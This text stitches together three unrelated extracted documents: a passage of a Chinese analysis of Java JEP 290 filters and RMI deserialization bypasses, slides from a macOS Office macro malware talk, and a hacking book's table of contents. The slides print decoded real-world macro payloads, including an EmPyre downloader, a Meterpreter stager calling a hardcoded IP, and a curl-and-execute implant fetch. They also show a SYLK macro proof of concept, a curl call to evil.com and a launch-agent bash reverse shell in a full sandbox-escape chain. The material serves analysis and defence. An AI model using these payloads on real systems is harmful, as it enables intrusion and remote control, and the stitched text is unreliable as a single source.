filterApiProxy.methodConfigGetSerialFilter.invoke(null) 来查看 Config 的 serailFilter 字段值, 可以看到 Config.serialFilter 成功被设置为一个 WeblogicObjectInputFilterWrapper 对象。 查看 pattern 正是打了 7 月份补丁的全局反序列化黑名单: 用一段话来阐述 weblogic 中 全局过滤器赋值的流程就是: weblogic 启动的时候,会调用 WeblogicObjectInputFilter 的 initializeInternal 方法进行初 始化,首先会 new JreFilterApiProxy 对象,这个对象相当于JEP 290 有关操作的代理对象,里面封 装了操作 Config 静态类的方法。然后会 new 一个 WeblogicFilterConfig 对象,这个对象在 new 的时候会把 weblogic 的黑名单赋值到 WeblogicFilterConfig 对象的属性中。之后,会从 WeblogicFilterConfig 对象属性中取 serialFilter ,调用 JreFilterApiProxy 对象的 setGlobalFilter 来赋值 Config.serailFilter 。 局部过滤器 设置局部过滤器的意思是在 new objectInputStream 对象之后,再通过改变单个 ObjectInputStream 对象的 serialFilter 字段值来实现局部过滤。 改变单个 ObjectInputStream 对象的 serialFilter 字段是有两种方法: 1.通过调用 ObjectInputStream 对象的 setInternalObjectInputFilter 方法: 注:低于 JDK 9 的时候,是 getInternalObjectInputFilter 和 setInternalObjectInputFilter , JDK 9 以及以上是 getObjectInputFilter 和 setObjectInputFIlter 。 2.通过调用 Config.setObjectInputFilter : 局部过滤器典型的例子是 RMI 中针对 RegsitryImpl 和 DGCImpl 有关的过滤。 RMI 中采用了局部过滤 RMI 简单介绍 RMI 分为客户端和服务端,官方文档:https://docs.oracle.com/javase/tutorial/rmi/overview.html 下面是对 RMI 官方文档介绍的理解: 另外 RMI 中其实并不一定要 RegistryImpl ,也就是我们熟称的注册中心,RMI 完全可以脱离注册中心 来运行。可以参考:https://www.jianshu.com/p/2c78554a3f36 。个人觉得之所以使用注册中心是因 为注册中心的 Registry_Stub 以及 Registry_Skel 会为我们自动进行底层的协议数据通信(JRMP 协议),能让使用者可以不关心底层的协议数据交流,而专注在远程对象的调用上。 RMI 服务端远程对象导出实际上是将这个对象分装成一个 Target 对象,然后存放在 ObjectTable#objTable 这个静态的 HashMap 中: 每个 Target 对象都包含一个唯一的 id 用来表示一个对象,像 RegistryImpl 的 id 就比较特殊是 0 ,其他普通对象的 id 都是随机的: 客户端要对服务端对象进行远程调用的时候,是通过这个 id 来定位的。 ObjectTable#putTarget 方法: ObjectTable#getTarget 方法: ObjectEndpoint 中的 equals 方法,可以看到是判断 id 和 transport , transport 一般情况是 相等的,所以一般都是通过 id 来判断: RegistryImpl 对象与 JEP 290 RegistryImpl 作为一个特殊的对象,导出在 RMI 服务端,客户端调用的 bind , lookup , list 等 操作,实际上是操作 RegistryImpl 的 bindings 这个 Hashtable 。 bind : lookup : list : 这里我们之所以称 RegistryImpl 是一个特殊的对象,是因为 `RegistryImpl 导出过程中生成 Target 对象是一个“定制”的 Target 对象,具体体现在: 对比普通对象导出过程中生成的 Target : 1.这个Target 中 id 的 objNum 是固定的,为 ObjID.REGISTRY_ID ,也就是 0 。 2.这个Target 中 disp 是 filter 为 RegisryImpl::RegistryFilter ,skel 为 RegsitryImpl_skel 的 UnicastServerRef 对象。 3.这个Target 中 stub 为 RegistryImpl_stub。 导出过程 首先 LocateRegistry.createRegsitry : new RegistryImpl(port) 中会 new 一个 UnicastServerRef 对象,将 RegistryImpl 的 id ( OBJID.REGISTRY_ID ,也就是 0 ) 存入到 LiveRef 对象,随后 LiveRef 对象赋值到 UnicastServerRef 对象中的 ref 字段,并且将 RegsitryImpl::registryFilter 赋值给这个 UnicastServerRef 对象的 filter 字段: RegistryImpl 的 id 是 0 : 随后在 RegistryImpl#setup 中调用 UnicastServerRef.exportObject 进行对象导出: UnicastServerRef.exportObject 中会将远程对象分装成一个 Target 对象,并且在创建这个 Target 对象的时候,将上面的 UnicastServerRef 对象赋值为 Target 中的 disp 。于是这个 Target 对象的 disp 就设置为了有 filter 的 UnicastserverRef 。 随后调用 LiveRef.exportObject : 会调用 TCPEndpoint.export : 调用 TCPTransport.exportObject ,在这一步会开启端口进行监听: 随后后调用到 Transport.export ,可以看到就是将这个 Target 放到 ObjectTable#objTable 中: 服务端处理请求过程 处理请求是在 Transport#serviceCall ,首先从输入流中读取 id , 匹配到 RegistryImpl 对象对应 的 Target 。 随后调用 UnicastServerRef.dispatch : 在 UnicastServerRef#dispatch 中,由于 UnicastServerRef.skel 不为 null ,所以会调用 UnicastServerRef#oldDispatch 方法: oldDispatch 中会先调用 unmarshalCustomCallData(in) 方法,再调用 RegistryImpl_skel.dispatch 方法。 unmarshalCustomCallData 方法中会进行判断,如果 UnicastServerRef.filter 不为 null ,就会 设置 ConnectionInputStream 的 serialFilter 字段值为 UnicastServerRef.filter (设置单个 ObjectInputStream 的 serialFilter 属性,局部过滤的体现): 再看 RegistryImpl_skel.dispatch : 我们以 bind 为例来讲解: DGCImpl 对象与 JEP 290 DGCImpl 对象和 RegistryImpl 对象类似都是一个特殊的对象,他的”定制“ Target 对象的特殊体现 在: 导出过程 DGCImpl 会在导出 RegsitryImpl 的时候导出,具体分析如下: DGCImpl 静态代码块中会将一个 DGCImpl 封装为一个 Target 放到 ObjectTable 中,这个 Target 有 以下特征: 1.这个Target 中 id 的 objNum 是固定的,为 ObjID.DGC_ID ,也就是 2 。 2.这个Target 中 disp 是 filter 为 DGCImpl::DGCFilter ,skel 为 DGCImpl_skel 的 UnicastServerRef 对象。 3.这个Target 中 stub 为 DGC_stub。 DGCImpl 静态代码块会在 createRegistry 的时候触发,调用链如下: 具体原因是在导出 RegistryImpl 对象的时候,会传入 permanent 为 true : 就会导致 new Target 中会触发 pinImpl 方法: 然后在调用 WeakRef.pin 方法的时候,会触发 DGCImpl 的静态代码块。 也就是说在 createRegistry 的时候,会把 DGCImpl 和 RegistryImpl 封装的 target 都放到 ObjectTable#objTable 中。 服务端处理请求过程 服务端处理 DGCImpl 的请求过程和 RegistryImpl 非常类似,都是在 Transport#serviceCall 中处 理,调用 UnicastServerRef#dispatch ,再调用 UnicastServerRef#oldDispatch 最后在 UnicastServerRef#unmarshalCustomCallData 中为之后进行 readObject 操作的 ConnectionInputStream.serialFilter 赋值为 DGCImpl::checkInput 。 DGCImpl#checkInput : 通过 JVM 参数或者配置文件进行配置 对于 RegistryImpl 在 RegistryImpl 中含有一个静态字段 registryFilter ,所以在 new RegistryImpl 对象的时 候,会调用 initRegistryFilter 方法进行赋值: initRegistryFilter 方法会先读取 JVM 的 sun.rmi.registry.registryFilter 的属性,或者是读 取 %JAVA_HOME%\conf\security\java.security 配置文件中的 sun.rmi.registry.registryFilter 字段来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter2 创建 filter 并且返回。 %JAVA_HOME\conf\security\java.security% 文件: RegistryImpl#registryFilter 函数会先判断 RegistryImpl#regstiryFilter 字段是否为 null 来 决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话,会先调用用户自定 义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED 就直接返回检查的结果,否则再使 用默认的白名单检查。 对于 DGCImpl 在 DGCImpl 中含有一个静态字段 dgcFilter ,所以在 new DGCImpl 对象的时候,会调用 initDgcFilter 方法进行赋值: initDgcFilter 方法会先读取 JVM 的 sun.rmi.transport.dgcFilter 的属性,或者是读取 %JAVA_HOME\conf\security\java.security% 配置文件中的 sun.rmi.transport.dgcFilter 字段 来得到 JEP 290 形式的 pattern ,再调用 ObjectInputFilter.Config.createFilter 创建 filter 并且返回。 %JAVA_HOME%\conf\security\java.security 文件: DGCImpl#checkInput 和 RegistryImpl#registryFilter 函数类似,会先判断 DGCImpl#dgcFilter 字段是否为 null 来决定使用用户自定义的过滤规则,还是使用默认的白名单规则,如果不是 null 的话, 会先调用用户自定义的过滤规则进行检查,接着判断检查结果,如果不是 UNDECIDED 就直接返回检查 的结果,否则再使用默认的白名单检查。 RMI 中 JEP 290 的绕过 网上公开资料广泛说的是:如果服务端"绑定"了一个对象,他的方法参数类型是 Object 类型的方法 时,则可以绕过 JEP 290。 其实剖析本质,是因为服务端导出的这个 ”普通的对象“ 对应的 Target 对象中的 disp (其实是 UnicastServerRef 对象) 的 filter 是 null 。 普通的对象导出的 target 如下: 下面我们来具体跟以下流程分析,首先准备客户端和服务端代码如下: 服务端和客户端共同包含接口的定义和实现: 服务端代码如下: 恶意客户端代码如下: 普通对象的导出过程 普通对象的导出有两种方式,一种是继承 UnicastRemoteObject 对象,会在 new 这个对象的时候自 动导出。第二种是如果没有继承 UnicastRemoteObject 对象,则需要调用 UnicastRemoteObject.export 进行手动导出。但其实第一种底层也是利用 UnicastRemoteObject.export 来导出对象的。 下面我们来讨论继承 UnicastRemoteObject 类的情况: 因为这个普通对象继承自 UnicastRemoteObject 类,所以在 new 这个普通对象的时候会调用到 UnicastRemoteObject 的构造方法: 进而调用 UnicastRemoteObject.exportObject 方法: UnicastRemoteObject#exportObject 方法中再使用 UnicastServerRef#exportObject ,这里可以 看到在 new UnicastRemoteObject 的时候并没有传入 filter : 对比导出 RegistryImpl 对象的时候, new UnicastRemoteObject 对象传入了 RegistryImpl::registryFilter : 接着会调用 UnicastServerRef.exportObject 方法: 所以普通对象生成的 Target 对象的 disp 中 filter 就为 null ,另外这里的 skel 也为 null 。 后面导出 Target 的过程和 导出 RegistryImpl 对应的 Target 是一样的,最后会将这个普通对象的 Target 放到 objectTable#objTable 中。 绑定成功后的 ObjectTable#objTable : 服务端处理请求的过程 同样处理请求的入口在 Transport#serviceCall ,首先从输入流中读取 id , 匹配到 RegistryImpl 对象对应的 Target 。 然后取出 disp ,调用 disp.dispatch : 首先由于 skel 为 null ,所以不会进入 oldDispatch , 像 RegistryImpl 和 DGCImpl 因为他们的 skel 不为 null ,所以会进入到 oldDispatch : 接着会匹配到方法,拿到方法的参数,接着进行反序列化: unmarshalCustomCallData 方法: unmarshalValue 方法对输入流中传入的参数进行反序列化: 执行 in.readObject 之后,成功弹出计算器: 反制 利用上面这种方法绕过 JEP 290 去攻击 RMI 服务端,网上有一些工具,比如 rmitast 和 rmisout 。 但是对于使用 rmitast 或者 rmisout 这些工具,或者调用 lookup() 来试图攻击RMI 服务端 的时候, 我们可以使用 如下的恶意服务端代码进行反制: 反制 RegistryImpl_Stub.lookup 我们来看一下 RegistryImpl_Stub.lookup 对服务端返回的结果是怎么处理的,可以看见在 RegistryImpl_Stub.lookup 会直接对服务端返回的对象调用 in.readObject 方法,而 in 的 serialFilter 在这里是为 null 的: 所以客户端在进行 RegistryStub.lookup 操作的时候会直接导致 RCE : 同理 RegistryStub.list 也是如此: 但是用上面的服务端恶意代码并不能触发 RCE ,因为上面服务端恶意代码是利用 Registry_skel 来写 入对象的,可以看到写入的是一个字符串数组: 反制 rmitast 我们以 rmitast 中的 枚举模块为例: 步入 enumerate.enumerate() 里面是具体的实现原理: 首先 Enumerate.connect(this.registry) 返回的实际上是 RegistryImpl_Stub 对象,底层调用的 是 LocateRegistry.getRegistry 方法。 然后调用 this.registry.loadObjects() , this.list() 实际调用的是 RegistyImpl_Stub.list() 方法,得到注册中心的所有绑定的对象名: 接着会调用 this.loadObjects(names) , 会调用 this.lookup(name) ,底层实际使用的是 RegistryImpl_Stub.lookup() 方法,上面分析过 RegistryImpl_Stub.lookup 会直接反序列化服 务端传过来的恶意对象,并且 readObject 时使用的 ObjectInputStream 对象中的 serialFilter 是 null 。 我们启动上面的恶意服务端,然后使用 RmiTaste 的 enum 模块: 运行之后会导致使用 RmiTast 的一端 RCE : 总结 JEP 290 主要是在 ObjectInputStream 类中增加了一个 serialFilter 属性和一个 filterChcek 函 数,其中 serialFilter 就可以理解为过滤器。 在 ObjectInputStream 对象进行 readObject 的时候,内部会调用 filterChcek 方法进行检查, filterCheck 方法中会对 `serialFilter 属性进行判断,如果不是 null ,就会调用 serialFilter.checkInput 方法进行过滤。 设置过滤器本质就是设置 ObjectInputStream 的 serialFilter 字段值,设置过滤器可以分为设置 全局过滤器和设置局部过滤器: 1.设置全局过滤器是指,通过修改 Config.serialFilter 这个静态字段的值来达到设置所有 ObjectInputStream 对象的 serialFilter 值 。具体原因是因为 ObjectInputStream 的构造函数会 读取 Config.serialFilter 的值赋值到自己的 serialFilter 字段上,所有就会导致所有 new 出来的 ObjectInputStream 对象的 serailFilter 都为 Config.serialFilter 的值。 2.设置局部过滤器是指,在 new ObjectInputStream 的之后,再修改单个 ObjectInputStream 对象 的 serialFilter 字段值。 参考 https://www.cnpanda.net/sec/968.html JEP290的基本概念 https://www.jianshu.com/p/2c78554a3f36 深入理解rmi原理 http://openjdk.java.net/jeps/290 JEP 290 官方文档 https://www.cnblogs.com/Ming-Yi/p/13832639.html Java序列化过滤器 https://www.runoob.com/java/java8-functional-interfaces.html Java 8 函数式接口 https://www.jianshu.com/p/40f833bf2c48 函数式接口和Lambda表达式深入理解 https://juejin.cn/post/6844903892166148110 「Java8系列」神奇的函数式接口
pdf
Office Drama ...on macOS WHOIS @patrickwardle analysis exploit chain OUTLINE history Evil Office Docs! defense Recent History macro based attacks, targeting macOS ...defined MACROS Macro: "A macro is a series of commands & instructions that you group together as a single command to accomplish a task automatically" -Microsoft Sub AutoOpen() MsgBox "Hello World!", 0, "Title" End Sub 01 02 03 + MSOffice document + code tl;dr: add code to documents macro code (VBScript) ...of course (ab)used by attackers MACROS + though mitigations... now on macOS? MACROS more macs... malicious & potentially unwanted files for macOS (Kasperksy) more mac malware... macro attack 2017 "New Attack, Old Tricks" objective-see.com/blog/blog_0x17.html "U.S. Allies and Rivals Digest Trump’s Victory - Carnegie Endowment for International Peace.docm" discovery & (limited) detection macro attack 2018 "Word to Your Mac" objective-see.com/blog/blog_0x3A.html "BitcoinMagazine- Quidax_InterviewQuestions_2018.docm" download & exec 2nd-stage (python) payload sandbox escape! discovery & (limited) detection macro attack 2019 "Cryptocurrency businesses still being targeted by Lazarus" securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus "샘플_기술사업계획서(벤처기업평가용.doc" is mac? infected document (credit: kaspersky) download & exec 2nd-stage (mach-O) payload Analysis understanding macro based attacks EXTRACTING EMBEDDED MARCOS oletools, ftw $ sudo pip install -U oletools $ olevba -c <path/to/document> $ olevba -c ~/Documents/HelloWorld.docm olevba 0.55.1 on Python 3.7.3 - http://decalage.info/python/oletools ===================================================================== FILE: /Users/patrick/Documents/HelloWorld.docm Type: OpenXML --------------------------------------------------------------------- VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub AutoOpen() MsgBox "Hello World!", 0, "Title" End Sub github.com/decalage2/oletools installation/usage AutoOpen() "(automatically) runs after you open a new document" macro extraction "Description of behaviors of AutoExec & AutoOpen macros" support.microsoft.com/en-us/help/286310/description-of-behaviors-of-autoexec-and-autoopen-macros-in-word ANALYSIS: "U.S. Allies & Rivals Digest Trump's Victory" $ olevba -c "U.S. Allies and Rivals Digest Trump's Victory.docm" VBA MACRO ThisDocument.cls in file: word/vbaProject.bin - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub autoopen() Fisher End Sub Public Sub Fisher() Dim result As Long Dim cmd As String cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3" cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm" ... result = system("echo ""import sys,base64;exec(base64.b64decode( \"" " & cmd & " \""));"" | python &") End Sub 'Fisher' subroutine: automatically executed concat base64-encoded str. decode & exec via python Fisher() embedded macros via 'autoopen' Sub 'Fisher()': $ python >>> import base64 >>> cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBv .... " >>> base64.b64decode(cmd) ... dXFprvsgMBSIyPf = 'atfMzZOqVLbcj' import ssl; import sys, urllib2; import re, subprocess; cmd = "ps -ef | grep Little\ Snitch | grep -v grep" ps = subprocess.Popen(cmd, shell = True, stdout = subprocess.PIPE) out = ps.stdout.read() ps.stdout.close() if re.search("Little Snitch", out): sys.exit() ... a = o.open('https://www.securitychecking.org:443/index.asp').read(); key = 'fff96aed07cb7ea65e7f031bd714607d'; S, j, out = range(256), 0, [] for i in range(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] ... exec(''.join(out)) "U.S. Allies & Rivals Digest Trump's Victory" ANALYSIS: decoded python code ...looks familiar!? LittleSnitch running?firewall check Download 2nd-stage payload (www.securitychecking.org) RC4 decrypt this payload (key: fff96aed07cb7ea...) Execute decrypted payload EmPyre (python backdoor) ANALYSIS: "BitcoinMagazine-Quidax_InterviewQuestions_2018" $ olevba -c "BitcoinMagazine-Quidax_InterviewQuestions_2018.docm" Private Sub Document_Open() payload = "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ" & "...6c30pCg==')));" path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist" arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _ "<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ...">\n" & _ "<plist version=""1.0"">\n" & _ "<dict>\n" & _ "<key>Label</key>\n" & _ "<string>com.xpnsec.sandbox</string>\n" & _ "<key>ProgramArguments</key>\n" & _ "<array>\n" & _ "<string>python</string>\n" & _ "<string>-c</string>\n" & _ "<string>" & payload & "</string>" & _ "</array>\n" & _ "<key>RunAtLoad</key>\n" & _ "<true/>\n" & _ "</dict>\n" & _ "</plist>" Result = system("echo """ & arg & """ > '" & path & "'", "r") 'Result = system("launchctl bootout gui/$UID", "r") End Sub 'Document_Open()': triggers automatic execution create ~$com.xpnsec.plist decode & exec via python $ python >>> import base64 >>> payload = "aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs3IgeCBpbiByYW5n...30pCg==" >>> base64.b64decode(payload) "import socket,struct,time\nfor x in range(10):\n\ttry: \n\t\ts=socket.socket(2,socket.SOCK_STREAM) \n\t\ts.connect(('109.202.107.20',9622))\n\t\tbreak\n\texcept: \n\t\ttime.sleep(5)\nl=struct.unpack('>I',s.recv(4))[0]\nd=s.recv(l) \nwhile len(d)<l:\n\td+=s.recv(l-len(d))\nexec(d,{'s':s})\n" "BitcoinMagazine-Quidax_InterviewQuestions_2018" ANALYSIS: import socket, struct, time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('109.202.107.20',9622)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(d,{'s':s}) 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 download & exec ...Meterpreter 109.202.107.20 ANALYSIS: "BitcoinMagazine-Quidax_InterviewQuestions_2018" path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist" arg = "<?xml version=""1.0"" ...>\n" & _ "<!DOCTYPE plist PUBLIC ...">\n" & _ "<plist version=""1.0"">\n" & _ "<key>Label</key>\n" & _ "<string>com.xpnsec.sandbox</string>\n" & _ ... "</plist>" Result = system("echo """ & arg & """ > '" & path & "'", "r") "Escaping the Microsoft Office Sandbox" objective-see.com/blog/blog_0x35.html $ codesign --display -v --entitlements - "Microsoft Word.app" ... com.apple.security.temporary-exception.sbpl (allow file-read* file-write* (require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$")) ) ) embedded macro code ..."stolen"!? Word's Sandbox Profile "....allows us to create a file anywhere on the filesystem as long as it ends with ~$something"  -(Adam Chester) sandbox escape via /Library/LaunchAgents/~$com.xpnsec.plist Adam's PoC ANALYSIS: "샘플_기술사업계획서(벤처기업평가용.doc" $ olevba -c "샘플_기술사업계획서(벤처기업평가용.doc" Sub AutoOpen() ... #If Mac Then sur = "https://nzssdm.com/assets/mt.dat" ... res = system("curl -o " & spath & " " & sur) res = system("chmod +x " & spath) res = popen(spath, "r") embedded (macOS-specific) macros 'AutoOpen()': triggers automatic execution "Lazarus APT Targets Mac Users with Poisoned Word Document" labs.sentinelone.com/lazarus-apt-targets-mac-users-poisoned-word-document/ macOS-specific logic nzssdm.com mt.dat (implant) download payload (via curl) set executable (via chmod +x) execute (via popen) Advanced Exploitation a '0-click' macro based attack ...rather lame (and dysfunctional?) CURRENT ATTACKS alert! app sandbox quarantine attribute + notarizations $ log stream Error kernel: (Quarantine) exec of /private/tmp/backdoor denied ...since it was quarantined by Microsoft Word and created without user consent AUTOMATIC MACRO EXECUTION ...with no alerts Excel 2019 "In Office 2011 for Mac, XLM Macro's in Sylk files are auto executed (no protected mode or macro prompt)" -The MS Office Magic Show" (2018), Pieter Ceelen & Stan Hegt only Office 2011, Microsoft: #wontfix "The Microsoft Office (2016, 2019) for Mac option "Disable all macros without notification" enables XLM macros without prompting..." -CERT, vulnerability note VU#125336 (11/2019) macro security no prompt! latest version of Office! XLM MACROS IN SYLK FILES ...ollld file format! "Abusing the SYLK file format" outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/ XLM: macro language predating VBA Sylk (.slk) files SYmbolic LinK, (1980s file format)} still supported! ID;P O;E NN;NAuto_open;ER101C1;KOut Flank;F C;X1;Y101;K0;ECALL("libc.dylib","system","JC","open -a Calculator") C;X1;Y102;K0;EHALT() E 01 02 03 04 05 06 07 PoC.slk: spawn calc (via XLM) ...macros are (now) sandboxed SANDBOX BYPASS spawning calc, is now, far from end-game $ codesign --display -v --entitlements - "Microsoft Word.app" ... com.apple.security.temporary-exception.sbpl (allow file-read* file-write* (require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$")) ) ) ...now patched "....allows us to create a file anywhere on the filesystem as long as it ends with ~$something"  -(Adam Chester) <string> (deny file-write* (subpath (string-append (param "_HOME") "/Library/Application Scripts")) (subpath (string-append (param "_HOME") "/Library/LaunchAgents"))) </string> Word's (Office) Sandbox Profile "In a sandboxed application, child processes created with the Process class inherit the sandbox of the parent app" -Apple ...download & execute; allowed SANDBOX BYPASS escape? # processMonitor { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/usr/bin/curl", "arguments" : [ "curl", "-L", "http://evil.com/escape.py", "-o", "/tmp/~$escape.py" ], } }, { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/System/Library/.../2.7/bin/python2.7", "arguments" : [ "python", "/tmp/~$escape.py" ], } } curl / python...allowed! process monitor network comms script execution sandbox allows: sandboxed via user login item SANDBOX BYPASS #create (CF)URL to app (e.g. Terminal.app) appURL = CoreFoundation.CFURLCreateWithFileSystemPath( kCFAllocatorDefault, path2App.get_ref(), kCFURLPOSIXPathStyle, 1) #get the list of (existing) login items items = CoreServices.LSSharedFileListCreate( kCFAllocatorDefault, kLSSharedFileListSessionLoginItems, None) #add app to list of login items CoreServices.LSSharedFileListInsertItemURL( loginItems, kLSSharedFileListItemLast, None, None, appURL, None, None) 01 02 03 04 05 06 07 08 09 10 11 12 13 # TrueTree /System/Library/LaunchDaemons/com.apple.loginwindow.plist /System/Library/CoreServices/loginwindow.app /System/Applications/Utilities/Terminal.app ~$escape.py loginwindow -> login items (TrueTree, J. Bradley) un-sandboxed! ...macros are (now) sandboxed QUARANTINED / NOTARIZATION can't pass args to login items :( ...just persist our own (payload)? any created payload: com.apple.quarantine (can't $ xattr -rc in sandbox) $ xattr ~\$payload com.apple.quarantine $ xattr -p com.apple.quarantine /tmp/~\$payload 0086;5e4c4b7a;Microsoft Excel; NN;NAuto_open;ER101C1;KOut Flank;F C;X1;Y102;K0;ECALL("libc.dylib","system","JC","touch /tmp/\~\$payload") 01 02 blocked :( ...an idea QUARANTINED / NOTARIZATION a launch agent: run apple binary pass arguments! avoids `com.apple.quarantine` creating launch agents: disallowed! <string> (deny file-write* (subpath (string-append (param "_HOME") "/Library/LaunchAgents"))) </string> <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>ProgramArguments</key> <array> <string>/bin/bash</string> <string>-c</string> <string>/bin/bash -i &gt;&amp; /dev/tcp/<attacker ip>/8080 0&gt;&amp;1</string> </array> ... 01 02 03 04 05 06 07 08 09 10 reverse shell, via bash sandbox rule ...an idea QUARANTINED / NOTARIZATION sandbox escape ...apple only, with no args quarantine 'bypass' ...but can't create (from sandbox) escape create launch agent ...must find a way for an apple binary (with no arguments), to create a launch agent for us! ...an idea! ARCHIVE UTILITY.APP $ lsregister -dump ... rank: Default bundle: Archive Utility bindings: public.zip-archive, .zip Archive Utility Archive Utility.app Q: what happens if we "persist" a .zip file !? A: macOS invokes its default handler! (apple binary, outside the sandbox) .zip login item!? ~/Library/~$payload.zip LaunchAgents/ foo.plist launch agent "created" "remotely" infecting macOS FULL EXPLOIT CHAIN user opens .slk file downloads & "persists" ~$payload.zip LaunchAgents/ on (next) login, "Archive Utility" invoked & unzips ...creating launch agent on (next) login, launch agent runs ...reverse shell! an "unsandboxed" reverse shell ...game over! FULL EXPLOIT CHAIN <plist version="1.0"> <dict> <key>ProgramArguments</key> <array> <string>/bin/bash</string> <string>-c</string> <string>/bin/bash -i &gt;&amp; /dev/tcp/<attacker ip>/8080 0&gt;&amp;1</string> </array> ... 01 02 03 04 05 06 07 08 09 launch agent (reverse shell, via bash) runs outside sandbox can download & unquarantine files! OSX.WindTail final payload: (repurposed) OSX.WindTail Defense protection against macro based attacks ...Microsoft & Apple FIXES & BUG REPORTS "is a known issue ...on the Apple side" !? full report to Apple macro bug patched: CVE-2019-1457 patched: 10.15.3 process monitoring DETECTION # ./processMonitor { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", ... "path" : "/Applications/Microsoft Excel.app", "pid" : 1406 } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/usr/bin/curl", "arguments" : [ "curl", "http://evil.com/escape.py", "-o", "/tmp/~$escape.py" ], "ppid" : 1406 } } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/System/Library/.../2.7/bin/python2.7", "arguments" : [ "python", "/tmp/~$escape.py" ], "ppid" : 1406 } } Excel (pid: 1406) spawning curl & python!? curl python suspicious children! file monitoring (persistence) DETECTION # ./fileMonitor { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm", "path" : "/System/Library/CoreServices/backgroundtaskmanagementagent", } } login item persistence (backgrounditems.btm) "Block Blocking Login Items" objective-see.com/blog/blog_0x31.html non-app login item!? suspicious persistence! via JamfProtect (MonitorKit + Apple's game engine) GENERICALLY DETECTING MAC MALWARE MonitorKit Apple's game (logic) engine actions (alert, log, etc) alert ! ...in the news Conclusion TAKE AWAYS Ensure your macOS systems are protected by a behavior-based security tool! macro attacks ...targeting macOS users defense in depth!! MAHALO! "Friends of Objective-See" [email protected] Airo Guardian Mobile Firewall SecureMac SmugMug iVerify Digital Guardian Sophos Halo Privacy "THE ART OF MAC MALWARE" https://taomm.org Announcing: volume 0x1: Analysis infection vectors methods of persistence analysis tools & techniques visit: author: p. wardle free (online) books @patrickwardle • 'Cryptocurrency Businesses Still Being Targeted by Lazarus' -Kaspersky • 'Abusing the SYLK File Format' -Pieter Ceelen & Stan Hegt Pitts • 'Lazarus APT Targets Mac Users With Poisoned Word Document' -Phil Stokes RESOURCES: IMAGES: • WIRDOU.COM/ • GITHUB.COM/ARIS-T2 Office Drama
pdf
Introduction 8 Basic Hacking Known Vulnerabilities 11 Introduction 11 Identifying technologies 13 Introduction 13 Wappalyzer 13 Powered By 14 Summary 15 Identifying the vulnerabilities 16 Introduction 16 Google 16 ExploitDB 17 CVE 19 Summary 19 Finding the POC 20 Introduction 20 Github 20 ExploitDB 21 Summary 21 Exploitation 22 Conclusion 22 Basic Hacking CMS 23 Introduction 23 Wordpress 24 Drupal 26 Joomla 26 Adobe AEM 28 Other 29 Conclusion 31 Basic Hacking Github 31 Introduction 31 Finding Sensitive Information 32 Conclusion 34 Basic Hacking Subdomain Takeover 35 Introduction 35 Subdomain Takeover 35 Github Takeover 37 Conclusion 43 Basic Hacking Databases 44 Introduction 44 Google Firebase 45 Introduction 45 Misconfigured Firebase Database 45 Summary 46 ElasticSearch DB 46 Introduction 46 ElasticSearch Basics 47 Unauthenticated ElasticSearch DB 48 Summary 53 Mongo Database 54 Introduction 54 MongoDB 54 Summary 55 Conclusion 55 Basic Hacking Brute Forcing 57 Introduction 57 Login Pages 57 Default Credentials 58 Brute Forcing 60 Conclusion 60 Basic Hacking Burp Suite 62 Introduction 62 Proxy 63 Target 69 Intruder 72 Repeater 78 Conclusion 79 Basic Hacking OWASP 81 Introduction 81 SQL Injection(SQLI) 82 Introduction 82 MySql 82 Union Based Sql Injection 84 Error Based Sql Injection 89 Xpath 89 PostgreSql 92 Union Based Sql Injection 93 Oracle 97 Union Based Sql Injection 98 Summary 101 Cross Site Scripting(XSS) 102 Introduction 102 Reflected XSS 103 Basic script alert 103 Input Field 104 Event Attributes 106 Stored XSS 108 DOM Based XSS 112 Introduction 112 Sources 114 Sinks 115 Polyglot 117 Beyond the alert box 118 Cookie Stealer 118 Summary 120 File Upload 120 Introduction 121 File Upload 121 Content Type Bypass 124 File Name Bypass 125 Summary 126 Directory Traversal 126 Introduction 126 Directory Traversal 127 Summary 128 Open Redirect 129 Introduction 129 Open Redirect 129 Summary 130 Insecure Direct Object Reference(IDOR) 131 Introduction 131 IDOR 131 Summary 134 Conclusion 134 API Testing 135 Introduction 136 APIs 137 Rest API 137 Remote Procedure Call (RPC) 142 Simple Object Access Protocol (SOAP) 143 GraphQL API 146 Authentication 148 